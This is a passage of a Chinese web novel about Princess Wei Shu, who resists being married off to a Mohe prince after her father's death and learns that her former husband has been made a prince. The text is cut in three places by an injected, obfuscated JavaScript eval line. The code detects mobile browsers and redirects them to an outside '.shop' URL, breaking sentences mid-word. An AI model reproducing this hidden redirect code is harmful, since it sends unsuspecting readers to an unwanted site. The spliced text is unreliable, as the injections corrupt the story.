《被迫和前驸马复婚后》 1. 嘉王 元丰十九年,帝崩,未及留下遗诏,因其无子,膝下仅有一女崇宁公主,宗室及百官商议再三,推举帝弟裕王继位。次年,新帝改国号为元和。 * 元和二年春,年节刚过,京畿之地便迅速回暖,皇宫内百花竞放,姹紫嫣红。 永乐宫门口的两颗玉兰也开得正好,上白下红的花骨朵一朵挤着一朵,偶尔一阵风过,便有花瓣翩跹而落。 两个穿着一样襦裙的宫女,正在树下洒扫。 其中高个子的宫女突然凑近同伴,低声问道:“你听说没有,那个什么靺鞨王子要求娶咱们崇宁公主?” “怎么没听说?最近宫里传得沸沸扬扬的。”同伴麻利地挥舞着扫帚,头也不抬道,“我还没见过有比咱们公主更好看的人,靺鞨王子会看上公主也不稀奇。” 高个宫女却忧愁道:“公主出降,总要带些婢女陪嫁,咱们虽是外头伺候的,十有八九也会被选上,靺鞨离神京万里之遥,那里又都是些未开化的野蛮人,这一去,怕就要死在那儿,再也回不来了。” “姐姐想多了。”同伴笑着摇头,“靺鞨王子是求亲了,可皇上也没答应不是?先皇虽然不在了,如今的皇上和皇后娘娘,依旧把公主当作心肝儿一样疼,什么好东西不是紧着公主先挑,剩下的才轮到那些皇子妃嫔们?” 她语气笃定道,“要我说,便是皇上真有意要和靺鞨和亲,纵是把自己的亲公主嫁过去,也绝舍不得咱们公主嫁去那种地方受苦的。” 高个宫女张了张嘴,还想再说些什么,却忽然瞥见一行人正朝永乐宫走来。 打头之人,是皇后宫里的冉嬷嬷,冉嬷嬷身后紧跟着一位打扮富贵的老夫人,有些面生。 她不敢多看,急忙拉了同伴,退至路边。 很快,冉嬷嬷等人便走至近前,碾过地上尚未来得及打扫的落花,径直入了正殿。 * 殿内,一女子素衣简装,斜倚在窗下的美人榻上,正懒懒地翻看一本游记,正是方才宫女口中议论的崇宁公主,魏姝。 宫人通禀道:“皇后宫里的冉嬷嬷,带着吕老太君来了。” 魏姝缓缓抬头,目光落在同冉嬷嬷一起步入殿内的老妇人身上,顿了顿,才起身迎上前,拦住对方向自己行礼,把人引到座上,问道:“外祖母怎么突然进宫来了?” 不待吕老夫人开口,一旁见过礼的冉嬷嬷抢先答道:“老太君久未见公主,思念得紧,便求了皇后娘娘恩典,娘娘自是无不答应,便安排了老太君今日进宫。” 冉嬷嬷边说,边悄悄打量魏姝神色。 即便早已见惯,每次对上魏姝的一张脸,她仍会觉得惊艳。 就像是永乐宫门口开得正好的玉兰,洁白端庄中,又夹杂着一丝多情的红,便是不喜欢玉兰的人,也要忍不住多看几眼。 冉嬷嬷没瞧出魏姝脸上有什么异色,才又继续道:“另外,底下新进上来了一匣子紫珠,紫色珍珠罕见,又大又美,皇后娘娘一见便觉得最衬公主,张淑仪原还想讨几颗镶冠,娘娘都没答应,差奴婢全给公主送来了。” 她示意跟随的宫女把东西捧上前,给魏姝查看。 魏姝漫不经心瞟了一眼,便不感兴趣地挪开目光,倒是吕老夫人伸长脖子,目露艳羡,啧啧称赞道:“坊间都说皇后娘娘贤良,对公主视如己出,果然不错,便是亲生的也不过如此了。” 冉嬷嬷笑着附和:“正是这样呢。” 两人一唱一和,魏姝却不接茬。 在外人看来,皇后郭氏确实待她极好,除平日嘘寒问暖外,隔三差五还会送些稀罕物件哄她开心,酷暑时为她布置冰屋纳凉,严冬为她保留火室,让她能吃到新鲜果蔬,作为婶母,堪称贤良。 然而,郭皇后布置冰屋所用的冰,是截留其他宫殿的例冰,以致阖宫上下对她怨声载道。 至于火室,父皇尚在时,为了让她冬天也能吃到新鲜的青菜瓜果,便特意在宫里修建了一座火室,种上葱韭兰芽胡瓜等。但因火室每日需要消耗成车的木炭,以维持温度,耗费过大,朝臣曾多次上书,要求拆除火室,父皇却从不理会。 待皇叔登基,朝臣们旧事重提,郭皇后以不能委屈先皇遗孤为由,极力要求保留火室,甚至愿意削减中宫用度,以补贴火室耗费。 最终,朝臣被郭皇后的贤良打动,火室保住了,却渐渐成了帝后的专属,而她这个先皇遗孤,因为火室,被指孝期仍如此靡费,挨了御史整整一个冬天的骂。 再有今日的这些紫珠。 到底是郭皇后真心想送她,还是因为张淑仪想要,郭皇后才故意送给她的,怕还要另说…… 魏姝实在懒得应付这些虚情假意,示意宫人收下东西,便送客道:“珍珠我收下了,嬷嬷回去替我谢过皇婶吧。” “那奴婢便不打扰公主与老太君叙旧了。”冉嬷嬷悄悄给吕老夫人使了个眼色,便识趣地告退了。 魏姝也挥退了伺候自己的宫人,待殿内只剩下自己和吕老夫人,再次询问对方道:“这里没有旁人,外祖母直说吧,这趟来到底所为何事?” 吕老夫人朝她讨好地笑笑:“我这次进宫,一是着实挂念公主,二是为给公主道喜。” 魏姝又问:“我何喜之有?” 吕老夫人道:“我听说靺鞨王子有意求娶公主,公主还年轻,总是要再嫁的,但公主身份高贵,便是嫁去达官显贵家里,也是下嫁,靺鞨王子却与公主身份正相配,如此天赐良缘,可不是喜事吗?” “所以,外祖母是来劝我和靺鞨和亲的。”魏姝神色渐渐冷了下来。 虽然早在看到吕老夫人和冉嬷嬷一起出现的时候,她就已经有所猜测,虽然因为母妃早逝,她和外祖一家并不算太亲近,但听到吕老夫人的这番话,她心里还是忍不住有些难受。 父皇驾崩后,外祖母和舅舅是她仅剩的至亲长辈。 与靺鞨和亲的事,宫内传言不一,但魏姝从一开始就知道,皇叔是想让她去和亲的。 依礼,父皇过世,她应守制三年,年前的时候,皇叔却突然找各种理由,引经据典,令她守制一年即可,以免哀毁过甚。 可她前脚才除孝,后脚靺鞨王子便在宫宴上指名求娶她,这明显不只是巧合。 皇叔之所以没有立刻答应靺鞨王子,不过是因为她是父皇唯一的子女,而父皇驾崩时又没有留下遗诏,宗室内有资格继位的不止一个,皇叔本就继位不正,得了先皇的天下,却要把先皇唯一的公主嫁给蛮夷和亲,怕会被世人唾骂罢了。 但如果是魏姝自己同意和亲,便另当别论了。 魏姝早料到自己接下来的日子不会太平,少不了要被威逼利诱,却没想到,头一个来“威逼利诱”自己的会是外祖一家。 她盯着吕老夫人,嗤笑一声:“是皇后还是皇叔让你来劝我的?他们许了吕家什么好处?是给舅舅加官进爵,还是承诺让我的哪个表姐表妹做皇子妃?” 宫内有几位皇子,包括郭皇后所出的二皇子,都到了适婚的年纪。前几天,郭皇后还特意举办了一个桃花宴,广邀官宦世家的女儿进宫,目的正是为皇子们选妃。 吕老夫人原本准备了许多劝说的话,可被魏姝这么直白地一质问,瞬间噎在喉咙里,有些说不出口了,同时,也多了一股被戳中心思的羞怒。 反正这会儿屋内也没有第三个人,她索性直接挑明了:“公主既然猜到我是受上头人授意,为何还看不明白,和亲已是定局,公主再委屈,胳膊终究拧不过大腿,倒不如答应下来,趁机为自己多讨些好处才是正经。” 她有些刻意地拉起魏姝的手,企图动之以情:“便是我和你舅舅真有些私心,也都是在为你打算。吕家现在什么光景,你是清楚的,你舅舅的心和我一样,都很舍不得你,奈何你舅舅在朝中却说不上话,可若是你表妹有了出息,那就不一样了。 “等她成了皇子妃,再生下个一儿半女,有了身份地位,让她在皇上跟前多为你求求情,再在朝中为你活动活动,过不了几年,就能把你从靺鞨接回来了。” 她拍拍魏姝的手背,语重心长:“我做外祖母的,不向着你为你着想,还能害你不成?我和你舅舅早为你打算好了后路,所以我才说,让你索性答应和亲,免得受为难。” 连扫地的宫女都知道,远嫁靺鞨意味着什么,难为吕老夫人能编出这些离谱又冠冕堂皇的说辞,简直是魏姝不答应和亲,就是不识好歹。 魏姝看着自己被握住的手,沉默片刻,突然笑了笑:“是我误会外祖母了,我就说外祖母和舅舅怎么可能不疼我?” 吕老夫人见她脸上笑意温柔,不似先前的讥笑,顿时大喜,以为自己劝成了。 可下一瞬,魏姝却又说道:“然圣人有云:父母在,不远游。虽然我父皇和母妃都不在了,可外祖母亦是至亲——如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058033|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我告诉皇叔,我与外祖母感情深厚,难分难舍,但凡外祖母在神京一天,我便绝不离京,外祖母猜最后会怎样呢?” 吕老夫人神色一僵,回想起在来永乐宫前,郭皇后对自己的再三嘱咐。 那股迫切的架势——如果魏姝真拿自己作筏子,皇上和皇后虽不至于会赐死自己,让魏姝提前给自己送终,但保不准会让自己陪魏姝一起去靺鞨,好永不分离…… 吕老夫人的脸刷的一下白了,靺鞨那里又穷又冷,自己一把老骨头如何受得住? 最后,吕老夫人是跌跌撞撞离开永乐宫的。 魏姝看着她的背影,心里并没有感觉痛快。 鱼死网破,拉人垫背,是下下之举。她想要的是好好活着,便是不能像父皇在时那般纵情恣意,也绝不会任人随意摆布。 大宫女织云并不知道方才殿内发生了什么,见吕老夫人走得匆忙,还提醒魏姝道:“公主之前不是刚好为老太君准备了一份礼物,需不需要奴婢追过去,直接送给老太君?” “不用了,”魏姝接过宫女递来的湿帕子,细细擦拭每一根手指,“单独捡出周太傅的那份,其他的都不用送了。” 几天前,魏姝就开始精挑细选地准备礼物,及至昨天,一共准备出十几份,大部分都是要送给朝中大臣的,其中也有给吕家的一份。 这些都是曾受过先皇恩惠的人。 皇叔既然没有立刻应允靺鞨王子的求亲,至少说明是心存顾忌犹豫的,魏姝本打算趁着送礼,求朝臣帮自己说说情,以劝消皇叔的念头。 然而外祖母倒是点醒了她,一朝天子一朝臣,她父皇已经过世一年多,朝中的大臣们也已经任免过一轮,余下的虽不至于忘了父皇,但愿意赌上自己、甚至阖族的前程,而为她忤逆新帝的,怕是已经找不出几个了。 毕竟,连她的亲亲外祖母都是靠不住的。 大约也就只有她的老师,身为三朝元老的周太傅,或许会看在过往十几年的师生情谊上,帮她一帮了。 魏姝顿了一下,对织云吩咐道:“周太傅的寿辰也快到了,让张公公此刻就出宫,把礼物给周太傅送去,就当提前为他老人家祝寿了。” 织云应了一声,从里间捧出一个锦盒,领命而去,然而很快,又气冲冲地把锦盒捧了回来: “张公公带着礼物到了宫门口,却被禁军拦住,死活不许他出宫,说是最近靺鞨王子和嘉王都到了神京,神京人员混乱,未免有人趁机混进皇宫作乱,皇上才下的令,非紧要事,后宫诸人都不许出宫。 “张公公说是奉公主的命,禁军也不肯放人,说若真有急事,东西可以由他们转交。可他们那起子粗人毛手毛脚的,张公公怎么敢让他们碰周太傅的寿礼?只能把东西又送了回来。” 当然,不能让禁军转交,还因为锦盒里除了寿礼外,另有一封公主的亲笔信。 织云还有些话没说,禁军驱赶张公公的时候,还说了一些难听话,她怕公主伤心,不敢学给公主听,却忍不住替公主委屈:“若是先皇还在,早砍了他们的狗头,哪里轮得到他们嚣张!” 魏姝提醒她:“这些话在我面前说说也就罢了,若是被外人听去,不定要编排出什么,我倒是不怕,小心皇后拿你立规矩。” 郭皇后对魏姝还有些虚情假意,但对永乐宫伺候的人,惩治起来却毫不手软。 东西没能送出宫,也在魏姝的预料之内,皇叔知道她不会心甘情愿地去和亲,自然要防着她作乱,便是提前两天送,只怕同样会被禁军找理由拦下。 魏姝并没觉得很失望,而是忽然问织云道:“方才听你说起‘嘉王’,宗室里什么时候多了‘嘉王’这号人物?” 织云被魏姝训诫,脸上正有些讪讪的,闻言却神色一顿,眼神躲闪道:“奴婢也是才听人说起,不是宗室里的亲王,是皇上新封的异姓王。” 本朝也就开国那会儿,太.祖封过几个异姓王,还只是郡王,‘嘉王’可是亲王的封号。 这一年多来,魏姝因为守孝,颇有些闭耳塞听,封异姓王这么大的事,之前竟没听到丁点儿风声。她追问道:“是哪家的才俊,得了我皇叔青眼?” 织云含混道:“谢家。” 魏姝一时没能想起有哪些姓谢的勋贵,便又问:“哪个谢家,谢家的谁?” 织云见躲不过,纠结再三,终是一咬牙道:“是西北谢家,公主的前驸马。” 2. 一夜夫妻 两年前,魏姝曾出嫁过一次,驸马是西北谢家的谢兰臣。 那时候的谢兰臣,还只是靖西侯。 当初二人于神京完婚,新婚第二天,天还未亮透,谢兰臣便被一封战报召回西北老家,自此两人便分隔两地,再也没见过。 近一年的时间,谢兰臣连封家书都没给魏姝寄过,要不是朝中时不时有西北的捷报传来,魏姝几乎以为自己的驸马已经战死沙场。魏姝这边也没好到哪儿去,随大流在道观里给谢兰臣点了盏长命灯,竟然写错了谢兰臣的名字,直到一个多月后才发现。 两人说是夫妻,正经算起来,统共也就一夜的夫妻情,比陌生人也没好到哪儿去。 于是魏姝生产后,便求父皇允许她和离,主动结束了这段婚姻。 如今魏姝脑海里对谢兰臣的印象,除了牢记他大名谢斐,字兰臣外,就只剩下新婚当晚,烛火下对方略带醉意的眉眼,不像是冷硬的武将,倒更像是个温雅的世家公子。 谢兰臣会被封王,魏姝有点意外,但也能猜到些皇叔此举的用意。 谢家祖上武将出身,世代居于西北,抵御外族,因夺回被契丹侵占的十二州郡而被封侯,之后盘踞西北多年,自谢兰臣祖父那辈起,丹水河以西的整个西北,都只知谢侯不知帝,表面还是大安的国土,实际已是谢家的囊中之物。 之后几代帝王,都把西北视作心腹大患,却又不得不依赖谢家抵御契丹,最终大安、西北、契丹,三方各自制约,形成微妙的平衡。 然而就在去年,契丹发生内乱,一直被契丹当做奴隶的靺鞨一族突然造反,自立一国。契丹受内外夹击,元气大伤。 接着便是皇叔接受靺鞨来朝,又给谢兰臣封王。想来是怕谢家独大,有意扶持靺鞨与谢家制衡,又怕因此激怒谢家,便也给谢家些好处,以作安抚。 虽说谢家在西北俨然已是藩王的做派,但到底不如皇帝亲封的亲王名正言顺。 想到这里,魏姝难免又有些唏嘘。 她和谢兰臣分道扬镳后,不到两年的时间,一个鲜花着锦,更上一层,一个却一落千丈,如鸟入樊笼,当真是世事无常。 魏姝沉吟片刻,对忐忑侍立的织云道:“以后嘉王的消息不用瞒着我。” “奴婢记住了。”织云急忙应下。 之前因为一些不好的传言,大家在公主跟前伺候时,都会有意识地避开与驸马相关的消息。这次是她实在被气狠了,才一不留神说漏了嘴。 好在没有惹公主生气,公主好像也没有想象中那么介怀驸马的事。织云不由悄悄松了口气。 正在此时,殿门口忽然传来一阵哒哒哒的脚步声,接着门口的帘子便被人掀开,露出一个一岁多的小男孩。 小男孩生的十分精致,五官与魏姝有五六分像,他躲开奶娘想要搀扶的手,自己扶着门框,小心翼翼地跨过门槛,走了进来。 “小郡王来了。”织云出声通报,担心小郡王会摔倒,快步迎上去想要牵住他,却也被躲开了。 小郡王绕过织云,老远就张开小短胳膊,朝榻上的魏姝小跑过去。 魏姝稳稳接住扑过来的儿子,脸上不自觉多了几分温柔,把人抱在膝上问道:“午睡醒了?昭儿饿不饿?” 不待昭儿点头,宫人们已经把几碟子糕点呈了上来,另有一碗乳酪,一碗蛋肉羹和一碗虾面。 昭儿最近不愿意吃奶,魏姝便让人按照他以往会饿的时辰,提前备上好克化的吃食,免得他饿肚子。 昭儿亲昵地靠在魏姝怀里,伸出小手,指了指乳酪和马蹄糕,这两样东西便被留下,其他都撤了下去。 魏姝先递给他一块儿马蹄糕,昭儿拿着却没吃,而是又伸手指了指墙角的小柜子。 跟随他的宫人都是伺候惯了的,见他伸手一指,便知他是嫌手里的马蹄糕不够甜,想配上柜子里崖蜜一起吃。 魏姝出声阻止道:“不可以,太医说小孩子不能吃太多蜜糖,马蹄糕已经是甜的了。” 昭儿被拒绝,也不哭闹,只仰头眼巴巴地望着魏姝,用眼神撒娇。 往常,魏姝是不吃他这一套的,但是想到今天发生的事,想到万一哪天自己真迫不得已去和亲了,皇叔必然要把昭儿强留在京中,以威胁自己,好让自己在靺鞨安安分分的。 昭儿还不到两岁,至今尚不能开口说话,若是自己不在他身边,他怕是被欺负了都不知道该怎么告状。 魏姝心软了下来,破例道:“只能吃一小匙,吃完,今天就再不许吃旁的甜食了。” 昭儿立刻弯起嘴角,点头答应,眯眼笑的样子,像只刚偷了鱼的小猫。 织云亲自取来崖蜜,舀出指甲盖大小的一匙,涂抹在昭儿的马蹄糕上。 昭儿仍没着急吃,而是挑出马蹄糕上蜜糖沾得最多的一处儿,递到魏姝嘴边,要魏姝先吃。 织云和奶娘顿时都笑道:“小郡王这是孝敬公主呢。” 魏姝脸上也不禁浮起笑意,对儿子摇摇头道:“母亲不饿,昭儿自己吃吧。” 昭儿这才小口吃起来,他吃的十分斯文,吃完还主动伸出手,让奶娘帮自己擦干净。 小孩子刚睡饱,正是精力旺盛的时候,吃好喝足后,便想去外头踢球玩。 奶娘为难道:“都怪奴婢粗心,今个儿才发现小郡王的藤球坏了,已经让人去内侍省要了新的,但是小郡王的藤球是特制的,藤条要多处理一道工序才能更柔韧,不会磕伤脚,内侍省说最快也要等到明天才能做好,要不今天先玩别的吧?” 魏姝却对织云道:“去把多宝阁上的象牙球拿来,让昭儿先踢那个玩。” 织云应了一声,很快便取来一个成年男子拳头大小的象牙球,奶娘见那上头的镂空雕刻十分精妙,一层叠着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058034|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层,随着织云走动,每一层竟像是也会活动似的。 这样的巧物,一看便十分贵重,奶娘下意识想劝小郡王再换个东西玩儿,但在环视过殿内其他的金银宝石珠玉琳琅后,又把话咽了回去。 今天天气不错,魏姝让奶娘给昭儿换了一身方便活动的衣裳,便把人带去了御花园。 说是去踢球,但昭儿到底年纪小,走路尚算稳当,可要他抬起一条腿往外踢,就有些把握不好平衡了,因此大部分时间里,他都是在和宫人们互相扔球玩。 魏姝怕他玩出汗,见了风会着凉,玩闹过一阵子,便叫住他,打算带他去附近的凉亭歇息一会儿。 昭儿还有些意犹未尽,但仍乖乖地牵上魏姝的手,小步朝湖边的凉亭走去。 可等一行人拐过弯才发现,凉亭内已经有人了。 魏姝远远地便听见一道得意的声音:“要不说我们惠宁命好呢?虽然晚出嫁两年,却是以公主依仗出嫁,驸马是泰国公的长孙,家世自不必多说,人也满腹才华,温雅清正,年纪轻轻就入了内阁。惠宁嫁去这样的人家,我这个做母亲的也安心了。 “倒是可怜文宁,还是郡主的时候就着急忙慌地嫁了,驸马虽然也不错,可到底家世差些,配郡主还成,配公主就显得略有不足了。” 魏姝一行人停在一处假山旁,因着还有一段距离,亭子里的人没有发现她们,她们却能清楚地看见对方。 织云小声为魏姝解释道:“亭子里的是张淑仪和王淑仪,听说两人当年是一起进的裕王府,又在同一年生下女儿,就连如今的位份都是一样的,偏生两人八字不合,凑到一处就要吵起来。 “今上还是裕王的时候,王淑仪的女儿文宁公主便出嫁了,张淑仪与王淑仪不对付,便立志要为自己女儿找个更好的夫婿,一定要把文宁公主比下去,这一折腾就是两年,也算她有造化,赶上裕王登基为帝,郡主成了公主,嫁妆翻倍不说,驸马爷也比文宁公主的高出一截,如今可不神气了?早先冉嬷嬷说,想要讨紫珠镶冠的就是她。” 魏姝无意掺和别人的是非,正要换个地方歇脚,却听亭子里的另一个人忽然开口提到自己:“惠宁的驸马再好,还不是崇宁公主剩下的。 “要论命好,谁能比得过崇宁公主呢?先皇在时,对她那是百般娇纵,京中但凡有些名望的才俊,都被她召进宫伴游过,便是后来成了亲,也一点儿没耽误她继续玩乐,你家惠宁的好驸马,可也在伴游之列呢!” “你少胡说!”张淑仪怒声道,“惠宁的驸马绝对清清白白,你也别拿惠宁和别个不贤不淑,缺德没规矩的人比,我的惠宁是没她会投生,但至少不用嫁去靺鞨放羊!” 王淑仪冷笑:“惠宁是不用去放羊,但你确定她的驸马真清清白白?大家都知道小郡王不是嘉王的种,可惜我还没见过惠宁的驸马,也不知道他和小郡王长的像不像?” 3. 宠爱 魏姝和谢兰臣统共只相处过一晚,加之二人和离时,谢兰臣对自己名义上的儿子见都不见,直接留给魏姝抚养,京中顿时流言四起,纷纷猜测小郡王的生父另有其人,十有八九就在参加过魏姝诗酒会的那些才俊当中。 正因为这些流言,织云才忌讳在公主和小郡王面前提起驸马。 “当初多少人争破了头想来参加公主的诗酒会,就为了能在先皇跟前露个脸,不少人也因此得了先皇重用,还有人偷偷给咱们宫里的宫人塞过银子,就为了能把名声传近公主耳朵里,得公主一张请柬。怎么这会儿到了她们嘴里,就成公主……” 织云把到嘴边的“逼良为娼”四个字咽了回去,气愤地瞪着前头的凉亭,“奴婢替公主去掌她们的嘴!” 淑仪只是二品的嫔,公主却是正一品,张王两人如此非议公主,是以下犯上,惩治了她们,就算事后皇上皇后追究起来,也挑不出错。 魏姝却摇了摇头,对奶娘道:“你先抱昭儿回去。” 昭儿早早被奶娘捂住耳朵,并不清楚发生了什么,见母亲不和自己一起走,还有些不开心,奶娘哄了他几句才好。 昭儿刚走远,凉亭里又传出王淑仪的声音:“妹妹这么生气,难不成真被我说中了?看来惠宁确实更有福气,刚过门就白得一便宜儿……哎呦!” 她话说到一半,冷不防突然飞过来个什么东西,直接砸在了她脸上。 王淑仪的鼻子遭了秧,虽没出血,却被砸得又酸又疼,眼泪登时就不受控制地流了下来。 “是个什么东西!”王淑仪惊得连连后退,待看清砸自己的是个小球,恨得抬脚就要踢,却又发现那不是普通的小球,而是一个象牙雕的鬼工球。 一层套着一层,层层都镂刻精美,还有一些大小均匀的孔洞,随着小球在地上翻滚,里头的每一层也随之活动,粗略一数,竟有十一二层之多。只可惜最外头一层上,被摔出了裂纹。 王淑仪曾在郭皇后宫里见到过一个类似的,大小和层数都不及这个,郭皇后却宝贝得不行,在她们这些妃嫔面前炫耀过一遍,便匆匆收了起来…… 再看看面前这个,王淑仪眸中闪过一丝贪慕,没舍得真踢下去,而是怒声冲伺候自己的宫人喝道:“都愣着干什么?球会自己飞过来吗?还不快去把那个砸人的给我找出来,砸伤了人,总该要道歉赔偿!” “不用找了,”魏姝绕过假山,缓缓走上前道,“是昭儿方才踢球,不小心砸到了王淑仪,我已经责令他回去反省了。只是不知,王淑仪想要什么赔偿?” 王淑仪的满腔怒火,在看到魏姝时,登时熄了大半。 一个不到两岁的孩子,是不可能把球踢飞这么远的。王淑仪哪里不明白真正砸自己的是谁,自己方才和张淑仪说的话,怕是都被魏姝听去了。 毕竟是自己有错在先,她哪里还敢再提什么赔偿不赔偿的,勉强压下怒火,亲自捡起象牙球还给魏姝道:“小郡王还小,又不是故意的,哪里用什么赔偿,我回去自己抹些药膏就是了。”说着,就要告辞。 虽然都说魏姝要去靺鞨和亲了,但只要魏姝一天不走,皇上和皇后就要继续抬举她,这时候和魏姝起冲突,最后吃亏的一定是自己。王淑仪只能避开。 一旁的张淑仪也十分心虚,顾不上幸灾乐祸,胡乱找了个理由,也要跟着告退。 魏姝却叫住两人道:“两位淑仪请留步,我还有句话要问。” 张王两人对视一眼,心里都涌起不好的预感,但也只能继续留下:“公主请讲。” 魏姝:“我记得两位淑仪的娘家,都有侄子吧?” 两人点头。 魏姝道:“有两位淑仪做表率,想来各自的侄子应该都不差,说起来,我也许久没办过诗酒会了,方才听见两位淑仪说,惠宁和文宁姐姐的驸马也都很好,刚好全都一起请进宫来,大家热闹热闹。” 张淑仪和王淑仪顿时都变了脸色。 尤其是张淑仪。 之前先皇在时,参加魏姝的诗酒会,还有可能遇到先皇,得到先皇青眼,也算不亏,可现在先皇都不在了,再和魏姝有牵扯,除了会影响名声,惹今上疑心外,没有丁点好处。 张淑仪可以不在意自己的娘家侄子,却不得不在意自己女儿。 她虽然到处对人吹嘘,惠宁的驸马如何好,可驸马好是好,却和自己女儿感情不和,女儿还曾向她抱怨过,觉得驸马心里像是有了别人,待她很是冷淡。 张淑仪之前没在意,只当是小夫妻还没熟悉,可今天听了王淑仪的话,倒是突然疑心起来,惠宁的驸马不会真和魏姝有什么吧?别的不说,魏姝单这副样貌就挺招眼的。 惠宁出嫁晚,本就耽误了花期,能选中现在的驸马已是不易。 张淑仪突然后悔起自己今天多嘴,惹出这种祸事,万一惠宁的驸马见了魏姝,两人发生了什么,她该怎么向惠宁交代? 张淑仪咬了咬牙,对魏姝道:“公主不能这么做,这不合规矩,有违礼法。” 魏姝笑了笑:“张淑仪不是才说过,我不贤不淑,缺德没规矩?我确是如此。” 说罢,她直接问织云:“我记得父皇留给我的请帖还有一些,是不是?” 魏姝最开始举办诗酒会,只是因为好奇,想见见那些受人追捧的才子佳人们,只可惜佳人们碍于名声,不能出席,最后就只能请才俊入宫了。 御史因此参她行为出格,父皇便以自己的名义发帖,举办诗酒会,所有的请帖却都放在她这儿,她想请谁,就发给谁。 直到父皇驾崩,魏姝手里的请柬还剩下许多。 织云回道:“奴婢前几天才整理过,还有好几十份呢。若是有人管不住嘴,公主就是召他们天天进宫也够使的。” “那就好,”魏姝道,“请柬上有父皇的印信,见之如见先皇,谁也不能阻拦,你拿上请帖,亲自出宫一趟,一个也别漏下。” 织云心中一动,忽然想到了那份没能送出宫的寿礼,当即眼睛一亮,郑重地点了点头。 * 有了先皇的印信,织云出宫的时候,果然没再受到阻拦,她动作很麻利,除了一个去外地拜访亲友的,两个驸马六个侄子很快都被请进了宫。 魏姝却根本没让他们进永乐宫,罚站似的让他们在宫门口等了两刻钟,便把人放了回去。 这让一直关注永乐宫动静的张王两位淑仪,都长舒了口气。两人痛恨魏姝行事霸道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058035|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的同时,又都有些心有余悸。 到底是被先皇当做心肝儿一样疼爱的公主,指不定手里还藏着什么别的先皇遗物,这次是几封加盖了先皇印信的请柬,又赶上魏姝心情好,只是让人罚站了一会儿,下次说不准还会拿出什么别的要命东西。 总之她们惹不起,今后只能躲远点。 这一晚,宫内和她们有同样想法的不在少数,这些天来,有关魏姝的沸沸扬扬的流言,瞬间都消停了下去。 * 是夜,长春宫。 今夜是十五,皇上照例歇在郭皇后宫中。元和帝与郭皇后是少年夫妻,至今二人感情仍然极好。 郭皇后一边为元和帝更衣,一边软语说道:“今日午后,张淑仪和王淑仪言语无状,冒犯了崇宁,臣妾已经责罚过她们了。虽然崇宁有时候行事是出格了些,但也是臣妾治理后宫不严,才让流言四散,臣妾也有失职,便也罚了自己三个月的月例。” “此事与你不相干。”下午织云刚一出宫,禁军就上报了请柬的事,元和帝很快便知晓了事情的始末。 他似是无奈又带着几分赞赏地对郭皇后道:“你啊,就是对自己太严格了,不是自己的错也往自己身上揽。崇宁是被皇兄骄纵坏了,她自己行事不检,自然会有人说闲话,不是你的过错。这几个月长春宫的花销,就从朕的内帑里出吧。” 郭皇后一番感激谢恩后,又说道:“倒是没想到,先皇竟然还给崇宁留了带印信的请柬,果然是宠爱她到了骨子里,人都不在了,还在想着法儿的庇佑她。崇宁这孩子心思也重,往日竟从没提起过。也不知她手里还有没有先皇留下的其他东西,若是金银珠玉这些明面上的东西也就罢了,若是其他的……” 她话没说完,元和帝却听懂了她的未尽之语。 内阁里至今还压着一封诏书,是先皇欲加封魏姝儿子为郡王的诏书。 虽然按例,皇帝的所有诏书都需经内阁转发,才可生效,但大部分情况下,内阁都不会故意和皇上作对,很少会驳回皇上的旨意,但这一封却是例外。 内阁并非是反对先皇为外孙加封郡王,毕竟早在昭儿的满月宴上,先皇早已经金口玉言,当场加封,在场的朝臣们也立刻欢欢喜喜地改口,称“小郡王”。 内阁反对的是,先皇的诏书上,小郡王的名字写的是“魏昭”,而非“谢昭”。 公主的儿子可以被加封郡王,却不能姓魏。 姓魏,便意味着外孙成了亲孙,也意外着皇位有可能会旁落。内阁不答应,宗室更不会答应。 虽然此事在宗室和内阁的阻挠下,不了了之,但元和帝心里还是有了忌惮。 如果没有这件事,他倒是不介意也像皇兄那样纵着魏姝一辈子。 可怕就怕,皇兄还给魏姝留了其他遗诏…… 郭皇后在旁自责道:“都怪臣妾办事不利,没能让吕老夫人说服崇宁,臣妾也是没想到,崇宁竟如此固执,连至亲的劝都听不进,也不知道和吕老夫人都说了些什么,把老人家吓得不轻,听说回到家就病倒了。” 元和帝沉默几息,说道:“既然劝不了她,就无需再劝了。” 拖得越久,变数越多,是时候快刀斩乱麻了。 4. 羞辱 次日,早朝后,元和帝召周太傅入勤政殿议事。 元和帝屏退左右宫人,直接开门见山对周太傅道:“朕今日请太傅来,是想和太傅商议靺鞨王子求亲一事,靺鞨王子钟晴崇宁公主,已向朕多次求娶,太傅意下如何?” 